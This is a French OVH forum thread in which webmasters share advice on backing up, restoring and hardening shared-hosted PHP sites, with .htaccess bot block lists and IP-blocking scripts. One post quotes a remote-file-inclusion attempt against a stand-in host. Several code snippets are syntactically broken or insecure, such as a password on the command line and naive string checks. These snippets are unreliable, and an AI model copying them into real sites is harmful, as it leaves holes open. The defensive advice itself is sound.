$db_server = "ServeurMySQL";
$db_name = "NomDeLaBaseSQL"; /* pour acceder a la base vielle de 7 jours, ajoutez -s à la fin du nom, comme ceci: NomDeLaBaseSQL-s */
$db_username = "IdentifiantSQL";
$db_password = "MotDePasseSQL";
$db_charset = "utf8"; /* mettre utf8 ou latin1 */
/* C'est tout. Placez ce fichier par FTP quelque part sur votre serveur Web, dans un endroit discret. */
/* Puis ouvrez-le avec votre navigateur web et suivez les instructions. */
echo "<html><body>Ce script cree une sauvegarde de la base de donnees avec l'encodage du jeu de caracteres $db_charset . \n<br>\n<br>Le fichier de sauvegarde est au meme endroit que ce script. \n<br>\n<br>";
echo "Votre base est en cours de sauvegarde.......\n<br>";
if (system("mysqldump --host=$db_server --user=$db_username --password=$db_password -C -Q -e --default-character-set=$db_charset $db_name | gzip -c > $db_name-$db_charset.sql.gz"));
echo "\n<br>";
echo "C'est fini. Vous pouvez recuperer le fichier de sauvegarde. Il s'appelle: <a href=\"$db_name-$db_charset.sql.gz\">$db_name-$db_charset.sql.gz</a> (faites un clic-droit, et enregistrez sous... , ou enregistrez la cible du lien sous...) \n<br>\n<br>N'oubliez pas d'effacer ce fichier de votre serveur par FTP car il contient des mots de passe.\n<br>\n<br></body></html>";
?>
Après la sauvegarde, la restauration ...
Sauvegarder et restaurer son site web et sa base SQL
(Partie 2)
3- Restaurer le site web:
Cela est facile. Tout d'abord, si vous avez modifié les droits des fichiers en 404 et dossier en 505 comme expliqué dans un article précédent (http://forum.ovh.net/showpost.php?p=104511), vous ne pourrez les supprimer ou les remplacer. Refaites les commandes en donnant aux fichiers les droits 604 aux fichiers et 705 aux dossiers. Puis effacez complètement votre site web. Vous ne savez pas quelles traces et fichiers cachés a laissé le pirate, il faut rebâtir sur une base saine. Ensuite, par FTP envoyez votre sauvegarde vers votre site. Puis remodifiez les droits des fichiers et dossiers comme discuté précédemment.
4- Restaurer la base SQL:
Si votre sauvegarde est à jour, vous avez l'esprit tranquille. Si votre site est très actif et qu'il s'est passé trop de temps entre votre dernière sauvegarde et le piratage, faites une sauvegarde de la base vieille d'une semaine comme expliquée ci-dessus. Cependant, vous n'aurez pas la certitude que cette base est saine.
a) Restauration par phpMyadmin:
Contrairement à la sauvegarde, la restauration par phpMyadmin a une grosse limite: la taille maximum autorisée pour uploader un fichier par le Web. Cette taille varie en fonction de votre offre d'hébergement, de 2, 8 à 16 Mo.
Pour connaître cette limite, créez un fichier info.php avec le code suivant:
<?php
phpinfo();
?>
Envoyez ce fichier par FTP, ouvrez-le avec votre navigateur web, et cherchez la ligne: upload_max_filesize pour connaître la taille maximum.
Si votre sauvegarde MySQL est donc inférieure à cette limite, vous pouvez le faire.
Un conseil: si votre "dump" ou sauvegarde a été faite avec phpMyadmin, vous pouvez faire la restauration de la même manière, sinon, allez à la méthode par script PHP expliquée au point suivant.
- Effacement de la base SQL:
Connectez-vous à votre interface phpMyadmin:
http://pma.ovh.net/
Entrez le nom de la base SQL et son mot de passe, puis en haut de la colonne de gauche, cliquez sur le nom de la base. Puis dans la fenêtre principale, cliquez sur "Tout cocher" et dans le menu qui suit, choisissez "Supprimer". Confirmer la suppression des "Tables" en cliquant sur "Oui".
- Restauration de la base:
On va importer la nouvelle base de données. Cliquez sur l'onglet "Importer". Cliquez sur "Parcourir" pour sélectionner sur votre ordinateur la sauvegarde. ATTENTION: si la sauvegarde vient d'être faite avec phpMyadmin, c'est-à-dire en ayant suivi la procédure décrite ci-dessus, sélectionnez le jeu de caractères "utf8" (il y a de fortes chances que ce jeu de caractères soit le bon, sinon, prenez "latin1"). Si la sauvegarde a été réalisée autrement, choisissez le jeu de caractères correspondant. Sinon, les caractères accentués vont mal s'afficher sur le site web. Cliquez sur Exécuter. Et n'oubliez pas de vous déconnecter une fois finie en cliquant sur l'icône Exit.
b) Restauration par script PHP:
Si vous avez dépassé la limite parce que votre base SQL est trop grosse, un excellent script peut vous aider, il s'agit de BigDump http://www.ozerov.de/bigdump.php . L'interface est en anglais. Il faut simplement entrer les paramètres de sa base SQL et choisir le bon jeu de caractères "utf8" ou "latin1". Si vous avez utilisé le script de sauvegarde ci-dessus, vous savez quel jeu de caractères vous avez utilisé, alors qu'on est moins sûr avec phpMyadmin.
- Effacement de la base SQL:
Connectez-vous à votre interface phpMyadmin:
http://pma.ovh.net/
Entrez le nom de la base SQL et son mot de passe, puis en haut de la colonne de gauche, cliquez sur le nom de la base. Puis dans la fenêtre principale, cliquez sur "Tout cocher" et dans le menu qui suit, choisissez "Supprimer". Confirmer la suppression des "Tables" en cliquant sur "Oui". Et n'oubliez pas de vous déconnecter une fois finie en cliquant sur l'icône Exit.
- Restauration de la base:
Par FTP, envoyez bigdump.php et votre sauvegarde SQL dans un même dossier. Avec votre navigateur web, ouvrez bigdump.php, il devrait lister votre base. Puis cliquez sur Start Import. Normalement, tout doit bien se passer et une fenêtre devrait vous dire que la base a été restaurée.
Sinon, il vous faudra faire une sauvegarde table par table de votre base SQL pour réduire la taille des fichiers. Faites-le simplement avec phpMyadmin comme expliqué ci-dessus. Si cela n'est pas suffisant, consultez les forums, il existe de nombreuses astuces.
Puis par FTP, effacez bigdump.php et la sauvegarde SQL. Ne conservez jamais bigdump, un pirate pourrait s'en servir très facilement pour contrôler votre site web.
Un conseil: vérifiez comment s'affiche les caractères accentués sur votre site web après restauration. À cause de certaines incohérences entre le latin1 et l'utf8, on peut avoir des mauvaises surprises. Par exemple: j'ai un blog où tout est en utf-8 (texte, charset html, interclassement SQL en utf-8, etc.), tout est cohérent depuis sa création. Si je fais un dump (sauvegarde) de la base en utf8 avec mon script, puis une restauration avec bigdump.php en utf8, le site web n'affiche pas bien les caractères accentués. J'au dû faire un dump en latin1 puis restaurer avec bigdump.php en utf8 pour retrouver une situation normale. Pensez-y.
5- Récupitulatif. Vous avez sur votre ordinateur:
a) votre site web complet (fichiers HTML, images, et autres fichiers),
b) tous les fichiers à jour de votre blog, forum, cms, gallery, wiki avec les fichiers config, htaccess, les plugins, modules, thèmes, templates et vos modifications,
c) les dossiers uploads, logs, etc. que vous mettez régulièrement à jour,
d) une sauvegarde récente de votre base MySQL.
6- Si vous faites la restauration après un piratage, modifiez vos mots de passe FTP et MySQL. Puis, n'oubliez pas de modifier les fichiers config.inc.php ou équivalents qui ont besoin de votre nouveau mot de passe SQL.
Grâce à cette méthode et organisation, je peux réactiver mon site web en 30 minutes, sans paniquer.
Sparkles
08/09/2007, 12h39
if (system("zip -qr -5 $repsauvegarde$zipuploads $uploads"));
=> je conseille plutôt d'utiliser tar -czf (gzip) ou tar -cjf (bzip2) plutôt que zip, car tar conserve des informations qui peuvent être importantes (droits des fichiers, surtout)
Oui, mais il y a une limite au tar par rapport au zip: celle de combiner plusieurs dossiers différents dans une même archive. Avec tar, on ne peut compresser qu'un répertoire avec ses sous dossiers ou alors combiner plusieurs archives tar.
Donc, pour mon exemple de script de sauvegarde (première partie du script pour la compression d'un seul dossier (http://forum.ovh.net/showpost.php?p=108086)) on peut remplacer la ligne 20:
if (system("zip -qr -5 $repsauvegarde$zipuploads $uploads"));
par ça pour le Tar Gzip:
if (system("tar -czf $repsauvegarde$zipuploads.tar.gz $uploads"));
ou ça pour le Tar Bzip2:
if (system("tar -cjf $repsauvegarde$zipuploads.tar.bz2 $uploads"));
À noter que tar bzip2 compresse mieux que tar gzip qui, lui aussi, est souvent plus efficace que le Zip.
NaeiKinDus
13/09/2007, 10h40
Pour ce qui est de la protection des sites web codes en PHP, il ne faut pas oublier quelques principes simples : tout ce qui n'est pas en dur, ou stocke cote serveur presente un risque.
Ainsi, il faut aussi faire attention au detournement de formulaires :
- modification des champs hidden
- caracteres inattendus (incluant les injections sql, les balises html/javascript, ...)
En gros, rien dans un formulaire n'est garanti. Absolument rien.
Dans la meme veine, les formulaires d'envoi de mails...
Ne jamais oublier d'utiliser la fonction trim() (ou tout autre fonction du meme gout) pour supprimer les caracteres de retour a la ligne, qui permettent d'ajouter des headers (et donc, une possibilite de spam).
De meme pour les sessions, il est fortement recommande d'utiliser la methode de transmission par cookie et non par adresse (les trans.sid).
TBC_Ly0n
22/09/2007, 00h24
Adresses e-mails à éviter
Plus en rapport avec le spam qu'avec le piratage, les adresses e-mails qui ont les préfixes les plus courants sont spammées automatiquement (car ils ont plus de chances d'exister). Donc, évitez de créer des adresses avec les noms suivants:
webmaster@ admin@ contact@ email@ mail@ info@ sales@ support@ root@ www@ abuse@ news@
J'utilisais contact@ et info@ sans jamais les diffuser sur le web, mais le nombre de spams devenaient insupportables. Bref, pour le spam comme pour le piratage, il faut éviter la fainéantise intellectuelle et les paramètres par défaut.
Il y a trois règles :
- ce sont des boites qui existent très souvent
- certaines sont de simples utilisateurs du systèmes
- certaines sont gérées par des sysadmins
==> On peut jouer avec certaines, d'autres ont tendance à être évitées.
Typiquement, spammer un abuse, c'est risqué de le voir réagir de manière épidermique. Tout comme postmaster et root.
J'avais vu un document sur des techniques de spams qui excluaient les postmaster, les abuse, les root... Parce qu'ils ont un potentiel de réponse sympas :D
D'autres par contre, c'est un vrai bonheur, ils y vont gaiement !!!
CrawlTrack
29/09/2007, 15h40
Bonjour à tous,
CrawlTrack 2.3.0 est maintenant disponible. CrawlTrack s'intéresse depuis toujours aux visites des robots sur votre site, cette nouvelle version détecte les tentatives de piratage et peut même les bloquer.
Alors, si vous voulez mettre toutes les chances de votre coté pour éviter de voir un pirate détruire votre travail, CrawlTrack peut vous aider (et en plus c'est gratuit ;)).
Pour en savoir plus: CrawlTrack lutte contre les pirates (http://www.crawltrack.fr/fr/docpiratage.php#crawltrack)
Jean-Denis
class101
06/11/2007, 18h23
Moi j'ajoute à la liste php-ids qui est un projet très interessant d'Intrusion Detection System installable où l'ont veux même sur un mutualisé :)
"PHPIDS (PHP-Intrusion Detection System) is a simple to use, well structured, fast and state-of-the-art security layer for your PHP based web application. The IDS neither strips, sanitizes nor filters any malicious input, it simply recognizes when an attacker tries to break your site and reacts in exactly the way you want it to. Based on a set of approved and heavily tested filter rules any attack is given a numerical impact rating which makes it easy to decide what kind of action should follow the hacking attempt. This could range from simple logging to sending out an emergency mail to the development team, displaying a warning message for the attacker or even ending the user’s session..."
PHPIDS (http://php-ids.org/)
vtuning.net
19/11/2007, 08h46
Un petit script tout simple si vous devez appeller via l'URL, une page à include().
Vous devez connaître au préalable toutes les pages à inclure.
$pages = array( 'page1' => 'page1', 'page2' => 'page2' ); //etc...
if ( isset( $pages[$_GET['page']] ) )
{
include( $pages['$_GET['page']] );
}
else
{
echo 'Erreur';
}
A+
J'utilise une méthode semblable à vtuning.net.
J'y associe en plus CrawlTrack 2.3.0. ;)
Bonsoir,
Merci notamment à enycu pour le contenu de ces articles et tutoriél
Existe-t-il des prestataires spécialisés dans ce type de services ( audit d'un hébergement, recherche de failles potentiels, mise en plave de protection, barrières de ce type etc...)
Amicalement
Bonjour et merci pour votre contribution.
J'ai une question concernant le Bot MJ12bot *.*
L'utilisation de ce robot par certains utilisateurs se fait sans aucune retenue, c'est parfois un vrai massacre quand il est utilisé sur un site (...)
http://www.majestic12.co.uk/projects/dsearch/mj12bot.php
Selon vous, comment intégrer l'interdiction totale ou partielle de ce bot dans votre filtre ?
Merci pour votre réponse.
Julia
Le robot MJ12 ne fait pas parti des "méchants", mais d'après ton lien, certains prennent son identité pour en abuser. Pour l'exclure il te suffit d'ajouter sa référence.
Prenons la dernière ligne du filtre htaccess numéro 4 à propos des robots et aspirateurs de site web. J'ai ajouté mj12 à la fin de la ligne:
RewriteCond %{HTTP_USER_AGENT} webdevil|webdownloader|Webdup|WebEmailExtractor|We bFetch|WebGo\ IS|WebHook|Webinator|WebLeacher|WEBMASTERS|WebMine r|WebMirror|webmole|WebReaper|WebSauger|WEBsaver|W ebsite\ eXtractor|Website\ Quester|WebSnake|Webster|WebStripper|websucker|web vac|webwalk|webweasel|WebWhacker|WebZIP|Web\ Data\ Extractor|Web\ Downloader|Web\ Image\ Collector|Web\ Sucker|web\.by\.mail|Wget|whizbang|WhosTalking|Wid ow|WISEbot|WUMPUS|Wweb|WWWOFFLE|Wysigot|x-Tractor|Xaldon\ WebSpider|XGET|Yandex|Zeus|Zeus.*Webster|^Mozilla$ |Moozilla|mj12bot [NC]
Merci pour votre réponse.
En fait j'avais essayé de bloquer les versions incriminées, mais sans succès. :/
Les passages enregistrés indiquaient de multiples IP et de multiples versions.
A ce propos, j'ai également essayé ceci :
# Debut du blocage par le GEOIP_COUNTRY_CODE
#
SetEnvIf GEOIP_COUNTRY_CODE CN BlockCountry
SetEnvIf GEOIP_COUNTRY_CODE RU BlockCountry
Deny from env=BlockCountry
...mais les Robots qui sont en provenance de CN continuent à passer. :/
Vous avez une idée ?
Julia
Bruno-KS
13/01/2008, 14h48
Blacklister les accès via Tor
Pour cela il suffit de blacklister l'ensemble des serveurs Tor.
A ajouter dans un .htaccess (ou directement dans le apache.conf en include) :
http://proxy.org/tor_blacklist.txt
RewriteEngine on
RewriteCond %{REMOTE_ADDR} ^116\.14\.37\.243$ [OR]
[longue liste...]
RewriteRule ^.* - [F]
Bonjour et bravo à Enycu et aux autres pour ce magnifique exposé qui répond exactement à mon besoin.
J’ai suivi le conseil d’entrer dans le back office de mon site 90 plan en utilisant l’adresse https://ssl2.ovh.net/~loginftp/admin.
Le cadenas apparaît bien, mais après avoir entré user +mp, mon navigateur Firefox me donne ce message d’avertissement « bien que cette page soit chiffrée, les informations saisies vont être transmises en clair (sans chiffrement) et pourraient être lues lors de leur acheminement. Voulez vous vraiment transmettre ces informations ? »
Est-ce que j’ai oublié de faire quelque chose pour que l’information soit cryptée lors de son acheminement ?
Bruno-KS
04/02/2008, 07h36
J’ai suivi le conseil d’entrer dans le back office de mon site 90 plan en utilisant l’adresse https://ssl2.ovh.net/~loginftp/admin.
Tu as tiré ça d'où ? ssl2.ovh.net c'est les emails.
Bonjour,
L’adresse vient de ce guide : http://guide.ovh.com/SslSurMutu
J’ai tenté d'entrer en direct par mon navigateur avec https://monsite.tls comme ils le suggèrent. Le cadenas disparaît dès la seconde page, mais je n’ai pas besoin de tout sécuriser.
J’ai ensuite tenté https://monsite.tls/amin/index.php et là j’ai le fameux message « bien que cette page soit chiffrée, les informations saisies vont être transmises en clair (sans chiffrement) et pourraient être lues lors de leur acheminement. Voulez vous vraiment transmettre ces informations ? »
Point n° 1 : Ca ca m’inquiète !
Puis j’ai voulu inscrire cela dans le dur avec htaccess et j’ai suivi les conseils d’Ovh http://guide.ovh.com/HtaccessModRewrite j’ai fait un rewrite dans .htaccess :
RewriteEngine on
RewriteCond %{HTTP_HOST} ^www.monsite.tls$
RewriteRule ^(.*) https://ssl2.ovh.net/~loginftp/$1 [QSA,L,R=301]
Cela SEMBLE BIEN marcher, tout le site passe en https, en permanence.
MAIS je viens de tester que mon formulaire ne marche pas (rien ne m’est envoyé) et que la page d’accès au back office www.monsite.tls/admin convertie en https://ssl2.ovh.net/~LoginFTP/admin (comme indiqué dans le précédent post) ne me permet plus d’entrer : mes user et mots de passe ne sont pas reconnus.
Outch. En synthèse je serais
1/ Content d’entrer dans le back office de mon site ovh directement en tapant https dans mon navigateur si le fameux message n’aparaissait pas.
2/ Ravi de trouver la bonne façon de déclarer dans htaccess l’obligation d’entrer dans le back office par une porte sécurisée.
Voilà ! pouvez vous m'aider ?
Bruno-KS
04/02/2008, 12h17
OK, je comprend mieux. Tu as testé sous plusieurs navigateurs ? Sinon ce qui reste c'est de contacter le support, ils sauront mieux t'aider ;)
J’ai finalement une réponse au problème de l’entrée en https dans mon site grâce à deux expériences.
- 1/ l’entrée dans un site bâtit avec cms made simple (cms ms) qui m’a conduit à poser la question ci-dessus,
- 2/ l’entrée dans un autre site bâtit avec Joomla 1.5.
L’entrée dans le back office de Joomla1.5 en https se passe sans souci. Alors que l’entrée dans le back office de Cms made simple en https saute dès le second écran et me pose la fameuse question gênante « bien que cette page soit chiffrée, les informations saisies vont être transmises en clair (sans chiffrement) et pourraient être lues lors de leur acheminement. Voulez vous vraiment transmettre ces informations ? ».
Donc le https d’ovh marche parfaitement avec Joomla, qui est construit dans les règles de l’art de la sécurité et si j’ai un problème avec cms ms, c’est sans doute que cela vient de Cms ms qui est moins bien construit du point de vue sécurité.
J'ai mis à jour la partie sur les protections apportées par le fichier .htaccess. J'ai apporté un nouveau point 10. A voir ici. (http://forum.ovh.net/showpost.php?p=103758&postcount=5)
En substance, j'ajoute ceci:
10- Empêcher l'exécution de tout script dans un dossier. L'option ci-dessous vous permet par exemple de protéger un dossier d'upload ou tout dossier très sensible dont vous voulez renforcer la sécurité. Il ne faut pas utiliser cette option dans le fichier .htaccess avec tous les codes décrits ci-dessus. Je vous invite plutôt à créer un fichier .htaccess et à le mettre dans le dossier à protéger. Cette option empêche un navigateur web d'exécuter le script directement. Mais si le navigateur ouvre le fichier index.php qui fait un include() vers un fichier php se trouvant dans un dossier protégé par le code ci-dessous, tout s'exécutera bien. On protège donc l'exécution directe du fichier par un navigateur quand le pirate essaye d'entrer du code malicieux non filtré.
# Aucun script, que ce soit PHP, PERL ou autre, ne pourra s'executer si ExecCGI est inactif.
OPTIONS -ExecCGI
Bonjour et merci enycu pour ce tuto
J'ai 2 petites questions
J'ai fait pas mal de chose indiqués dans le tuto notemment la partie htaccess
Aujourd'hui, je me suis inscrit a google analytics et google n'a pas réussis a trouver le code du tracker analytics de ma page d'accueil pour valider mon compte.
Donc j'ai supprimé les ajouts dans le htaccess et la google a pu identifier mon code et valider mon compte analytics.
Une fois validé, j'ai remis les regles du tuto dans mon htaccess.
Je me demande 2 choses
1 Est ce que le tracker analytics va fonctionner? (ca je le serais dans moin de 24h)
2 Est ce que si l'outil de verification analytics a été bloqué par le htaccess, est ce que d'autres outils de google peuvent l'etre aussi? Est ce que cela pourrait saverer dangereux pour le référencement?
Merci pour vos reponses.
Curieux, je n'ai aucun problème avec Google Analytics sur plusieurs sites. En fait, Google Analytics n'est pas un robot référenceur, il utilise un code javascript pour faire des stats.
Est-ce qu'on parle bien de la même chose ?
De plus, j'ajoute que l'authentification du code Google Analytics demande quelques heures et quelques visites d'internautes pour s'activer. Donc, je pense que la suppression des filtres du htaccess et le code Google Analytics n'ont rien à voir. Pour moi, on ne peut pas relier ces évènements entre eux.
Bonjour à tous !
Un très grand merci à vous tous pour vos conseils de sécurisation et de bonnes pratiques :) Voilà le genre de posts à apprendre par coeur !
Je possède un serveur dédié OVH (FC4 + Plesk 8.3) et je suis en train de monter un portail qui va tourner sous Joomla 1.0.15. Je souhaite donc mettre en pratique vos conseils et dans un premier temps la gestion des droits sur les fichiers et dossiers (chmod).
Si j'ai bien retenu la leçon, nous pouvons considérer qu'il y a 2 modes de fonctionnement :
1) Mode écriture/installation : droits en écriture sur fichiers et dossiers. Permettre, dans mon cas, l'installation, le paramétrage de composants/modules/... fichiers chmod 604 ; dossiers chmod 705
2) Mode lecture simple : aucuns droits en écriture dans les fichiers & dossiers (sauf certains comme le cache Joomla, par ex). fichiers chmod 404, dossiers chmod 705
Or, lors d'une nouvelle installation de Joomla, mode 1 activé, l'assistant d'installation m'informe qu'il n'a pas les droits en écriture sur les dossiers. Je suis donc obligé de les passer en 707 (au lieu de 705).
Ma question est la suivante. Donner ce type de droits à un dossier et/ou à un fichier correspond-t-il à un trou de sécurité ? Comment puis-je préserver la sécurité de mon site tout en permettant à Joomla de fonctionner correctement ?
Amicalement,
Arnaud
Comme tu es sur un dédié, tout dépend de ta configuration. Mon tutoriel correspond aux serveurs mutualisés d'OVH. Sur ces serveurs, le php n'est pas un module Apache, mais exécuté comme cgi (suexec). Donc, il est inutile de faire du 777, mais un 705 fonctionne aussi bien (ce qui n'est pas le cas si php est exécuté comme module Apache). De plus, sur les mutualisés d'OVH, le groupe ne sert à rien, donc on le met à 0.
Hélas, je ne peux pas te répondre de manière plus précise pour un serveur dédié.
Donc, protège en écriture tout ce que tu peux.
Pourquoi faire cela? Le pirate essaye d'installer un fichier sur ton site afin d'en prendre le contrôle (pour effacer le site, y placer un script qui envoie du spam, etc.). Il cherche des trous de sécurité pour pouvoir uploader son fichier de prise de contrôle. Si ton site web n'a que des dossiers et fichiers interdits en écriture, il ne pourra rien uploader. Son attaque ne marchera pas.
Un grand merci pour ta réponse, enycu ! ;)
Avez-vous été piraté sans le savoir?
Vous avez un Blog, CMS, Wiki, gallery ? Vous avez peut-être été piraté sans le savoir par des pirates qui veulent mettre des liens vers leurs sites web afin d'augmenter artificiellement leur Pagerank.
Attention, c'est très sérieux. C'est un piratage invisible, presque bénin, mais bien réel. Si vous trouvez les éléments décrits ci-dessous, votre Blog, CMS, Wiki, gallery a été piraté par des professionnels payés pour cela, non par des gamins qui s'amusent à effacer des sites en mettant leurs pseudos à la place.
Connectez-vous à votre phpMyadmin:
http://start1g.ovh.net/phpMyadmin
http://60gp.ovh.net/phpMyadmin
http://90plan.ovh.net/phpMyadmin
ou une autre adresse selon votre formule.
Une fois identifié, dans la colonne de gauche en haut, cliquez sur le nom de votre base, puis dans la fenêtre principale, en haut cliquez sur l'onglet Recherche.
Puis entrez l'une des 3 phrases: %display:none%
%height:0%
%visibility:hidden%
Si vous trouvez des entrées dans les textes de vos pages ou les commentaires contenant "display:none" ou "height:0" ou "visibility:hidden", alors vous avez été piraté. Ces liens web vers les sites des pirates sont invisibles mais bien présents dans le code et visibles par les robots indexeurs. Effacez ces liens, changez vos mot de passe, mettez à jour votre logiciel et suivez les conseils dans cet article.
J'ajoute que Technorati est en train de déréférencer les blogs victimes de ce piratage aux liens invisibles.
Si vous avez une offre Plan et que vous vous connectez en SSH, pensez à effacer régulièrement le fichier ".bash_history" qui se trouve à la racine de votre hébergement.
Il contient au moins les 10.000 dernières commandes. Cela signifie que si vous avez commandez votre base SQL, ou autre connexion en SSH, les mots de passe y sont inscrits en clairs !
Effacer ce fichier ne pose aucun problème, il sera recréé automatiquement à chaque connexion SSH.
Bruno-KS
28/04/2008, 13h14
Il contient au moins les 10.000 dernières commandes. Cela signifie que si vous avez commandez votre base SQL, ou autre connexion en SSH, les mots de passe y sont inscrits en clairs !
Je met toujours mes mot de passe à l'invite du shell, pas directement dans la commande. Pour ce qui est des 10 000 dernières commandes, n'exagéront rien. Un petit echo > .bash_history et c'est réglé.
Sparkles
30/04/2008, 00h37
pour les paranos :
mettre dans le .profile ou .bashrc
HISTFILE=/dev/null
et hop c'est réglé...
gravedigger
30/04/2008, 19h40
En tout cas ça commence à me faire péter un plomb la modification de mes pages index.php et html :mad: <script>et sa p*/*/*++-*/ de ligne de m*-*-+ !
Y a aucun moyen pour éviter ça ?
D'abord commence déjà à lire et à appliquer les conseils présentés ici. Il y a beaucoup de solutions. Ensuite, ici (le sous forum How-To), on ne propose que des solutions. Pour poser des questions, je t'invite à ouvrir une nouvelle discussion sur le forum Mutualisé. (http://forum.ovh.com/forumdisplay.php?f=8)
J'ai ajouté un nouveau script qui permet d'avoir la liste des derniers fichiers créés ET modifiés.
Si vous avez été victime d'un piratage, il vous permettra de savoir quels fichiers ont été ajoutés et ceux qui ont été modifiés par le pirate avec la date et l'heure. Ainsi, en comparant la date de ces fichiers modifiés aux logs, vous saurez si la modification est normale ou pas, et vous saurez quand et comment le pirate a frappé.
Il sert également à comprendre le comportement d'un script ou d'un CMS, blog, wiki, forum et voir quels fichiers ont été manipulés par ce logiciel.
Ca se passe ici: http://forum.ovh.com/showpost.php?p=104517 ou en page 3 de ce topic.
cybellips
08/08/2008, 17h58
Automatiser le changement des droits
Une bonne façon très rapide pour les changements de droits :
utilisez le logiciel WinSCP (http://winscp.net) !
en un clic sur le dossier vous appliquer récursivement les droits 404 aux fichiers
et 505 aux dossiers (cases à cocher : ajouter X au répertoire et appliquer récursivement...) !
apophyss
04/10/2008, 10h04
Bonjour,
et merci pour tous ces conseils,
mais après plusieurs recherches, je n'arrive pas à choisir entre :
$val = trim(stripslashes(htmlentities($val)));
et
$val = mysql_real_escape_string(htmlspecialchars($val ));
jstaeble
15/11/2008, 11h25
Et bien, à moi d'apporter ma pierre à l'édifice :
Suite à quelques tentatives de hack par modification de GET (?page=http://hacker.com), j'ai fait ce petit script permettant de bloquer automatiquement une adresse IP si il y a tentative de ce genre :
<? //connexion à la bdd;
$retour = mysql_query('SELECT COUNT(*) AS nbre_entrees FROM ip_bloquees WHERE ip=\'' . $_SERVER['REMOTE_ADDR'] . '\'');
$donnees = mysql_fetch_array($retour);
if ($donnees['nbre_entrees'] == 0)
{
if($_GET['page']>"http")
{
include("hack.php");
}
else
{
//on affiche la page
}
else
{
$hack=8;
include("hack.php");
}
Et le fameux fichier "hack.php"
<?php
if(!isset($hack))
{
//connexion à la bdd;
print("Le site est actuellement indisponible. Merci de votre compréhension. Le Webmaster.");
mysql_query("INSERT INTO ip_bloquees VALUES('', '" . $_SERVER['REMOTE_ADDR'] . "')");
}
else
{
print("Le site est actuellement indisponible. Merci de votre compréhension. Le Webmaster.");
}
?>
Bien sûr, il faut créer la table appropriée dans la bdd.
Mine de rien, c'est simple et efficace ! De plus, on peut bloquer manuellement certaines adresses à l'aide d'un simple formulaire dans la page d'administration.
Dans le même genre, pour le livre d'or, j'ai créé une image avec des lettres à recopier (jusque là rien de nouveau). Le champ pour recopier les lettres s'appelle "website", et si il contient une URL : hop ! Include("hack.php"); :
if(isset($_POST['website']))
{
if($_POST['website'] != "P3KZE8")
{
if($_POST['website'] >= "http")
{
include("hack.php");
}
else
{
exit("Vous n'avez pas recopié les bons caractères de l'image. ");
}
}
elseif($pseudo == "" || $message == "" || $email == "")
{
exit("Veuillez remplir <strong>tous</strong> les champs précédés d'une *. <br /><br />");
}
}
Etienne62
15/11/2008, 12h10
Jstaeble je ne trouve pas du tout ta manière de faire correcte, certes tu peux bloquer quelqu'un qui a décidé de tester les failles de ton site mais tu risques surtout de bannir tes propres visiteurs ou un bot de google par exemple en oubliant de désactiver la sécurité pour une page.
jstaeble
15/11/2008, 15h18
Il se trouve qu'en procédant ainsi je n'ai jamais eu de problème de ce genre (j'essaie de consulter les logs tous les jours). Par contre, j'ai eu droit à plusieurs attaques.
Il est vrai que cette méthode est désormais moins utile depuis que j'ai lu ce tutoriel (notamment avec le .htaccess), mais en tous cas, au niveau du livre d'or je n'ai encore rien trouvé d'autre pour bloquer les attaques. (c'est en ce moment tous les jours que j'ai des lignes dans les logs comme c-68-40-92-234.hsd1.mi.comcast.net www.piano-gare.fr - [15/Nov/2008:07:40:20 +0100] "GET /livreor.php HTTP/1.0" 200 7053 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; .NET CLR 1.0.3705; .NET CLR 1.1.4322)"
c-68-40-92-234.hsd1.mi.comcast.net www.piano-gare.fr - [15/Nov/2008:07:40:24 +0100] "POST /livreor.php HTTP/1.0" 200 3587 "http://www.piano-gare.fr/livreor.php" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; .NET CLR 1.0.3705; .NET CLR 1.1.4322)"
J'ai mis à jour la liste des mauvais robots à bloquer et j'ai ajouté des commentaires en face de chaque règle, vous permettant de déboguer en cas de besoin.
http://forum.ovh.com/showthread.php?t=19263#post103757
Merci à Enycu pour cette liste de conseils absolument parfaite.
Un petit détail qui me gène.
Quand on poste des liens sur Facebook une image miniature se crée automatiquement à partir des photos récupérées sur la page.
Les réglages proposés ici bloque Facebook comme si c'était un aspirateur de site.
Quel modif faudrait-il que j'apporte pour autoriser Facebook à inspecter ma page pour générer un thumbnail.
D'avance merci.
Daniel60
27/08/2009, 08h09
Bonjour Enycu
Je en sait pas si tu as remarqué un robot chinois sosospider qui ne consulte que la page index.
J'ai mis en deny un un certain nombre de plage ip car il n'est pas toujours identifiable,
Quel modif faudrait-il que j'apporte pour autoriser Facebook à inspecter ma page pour générer un thumbnail.
Regarder dans les logs le nom du User-Agent de Facebook et ajouter la ligne suivante au fichier .htaccess en début de liste, au-dessus de la ligne bloquant les user-agents anonymes (remplacer xxxxx par une partie du nom du user-agent), comme ceci:
RewriteCond %{HTTP_USER_AGENT} !xxxxxx [NC]
RewriteCond %{HTTP_USER_AGENT} ^-?$ [OR] ## ANONYMES
Je en sait pas si tu as remarqué un robot chinois sosospider qui ne consulte que la page index.
Je ne le trouve pas bien méchant. Il devrait en effet d'abord lire le fichier robots.txt, mais à part se connecter 15 fois par jour à la page d'index, il ne fait rien d'autre... Sinon, pour le bloquer, il suffit simplement d'ajouter le mot sosospider dans la liste des robots à bloquer (en n'oubliant de séparer son nom des autres avec une barre verticale comme celle-ci | ).
Super merci enycu ça fonctionne !!! :-)
Je ne sais pas si tu bosses chez OVH si ce n'est pas le cas, OVH pourrait t'offrir quelques mois d'hébergements pour partager ainsi tes connaissances sur ce forum.
Bonjour,
Tout d'abord c'est une bonne idée que d'avoir centralisé ici les idées que l'on trouve à droite ou à gauche sur Internet. Plus facile pour ceux qui arrivent sur le Mutu d'OVH :)
LES RÈGLES LES PLUS IMPORTANTES:
1- Attribuer par FTP aux fichiers les droits chmod 404 et aux dossiers les droits chmod 505. Voir l'article ici: http://forum.ovh.com/showpost.php?p=103753
Je suis d'accord sur l'efficacité de la réduction des droits sur les fichiers/répertoires, mais pourquoi ne faire les choses qu'à moitié ? :confused:
- Les fichiers Php sont exécutés sous votre user. Il n'y a donc que vous qui ayez besoin de les lire. Pourquoi donner la posssibilité "à tous les autres" de les lire via un 404 ? Un droit 400 (r-- --- ---) est largement suffisant.
- Les fichiers statiques (.html, robots.txt, favicon.ico, sitemap.xml, ...) sont envoyés directement par Apache via un user (www-data ?) qui ne fait pas partie du groupe 'users'. Vous-même n'avez pas besoin de les lire. Donc pour les static et le .htaccess un droit 004 (--- --- r--) fera parfaitement l'affaire.
